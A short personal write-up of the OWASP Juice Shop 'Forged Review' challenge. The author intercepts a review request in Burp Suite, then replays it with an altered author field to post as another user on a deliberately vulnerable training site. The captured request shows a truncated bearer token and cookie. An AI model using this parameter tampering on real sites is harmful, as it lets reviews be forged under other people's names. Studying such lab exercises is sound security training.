## Mark Seliternikov

## OWASP Juice Shop - Forged Review

In this challenge the player is supposed to write a review as someone else. So I used the stolen admin account and wrote a review as a random user :). So the first thing I did was post a comment:

```
Reviews (1) ^

admin@juice-sh.op
test
```

Then I went to Burp Suite which was running in the background in order to see this request being made.

```
Request
Pretty Raw \n Actions ✓
1 PUT /rest/products/25/reviews HTTP/1.1
 2 Host: mark-web-ctf-juice-shop.herokuapp.co
 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64
 4 Accept: application/json, text/plain, */*
 5 Accept-Language: en-US, en; q=0.5
 6 Accept-Encoding: gzip, deflate
 7 Authorization: Bearer eyJ0eXAi0iJKVlQiLCJF
   GVkQXQiOiIyMDIxLTA2LTI4IDE40jQ20jI1LjI5NS/
 8 Content-Type: application/json
 9 Content-Length: 47
10 Origin: https://mark-web-ctf-juice-shop.h∈ 11
11 Connection: close
12 Referer: https://mark-web-ctf-juice-shop.h 13
13 Cookie: language=en; welcomebanner status= 14
   2Fkcy9kZWZhdWx0QWRtaW4ucG5nIiwidG90cFNlY3. 15
14 DNT: 1
15 Sec-GPC: 1
16
17 {
     "message":"test",
     "author":"admin@juice-sh.op"
```

I highlighted the important part! Now lets send the same request but let's tamper with the parameters that are being sent. I'll be doing it with the "repeater" option on Burp.

```
{
    "message":"I'm the one who made this comment for sure :)",
    "author":"very-real-user@realemail.com"
}
```

We also get a response on Burp Suite:

```
{
   "staus":"success"
}
```

Now for the grand finale lets check the website!



## And here it is in the score-board:

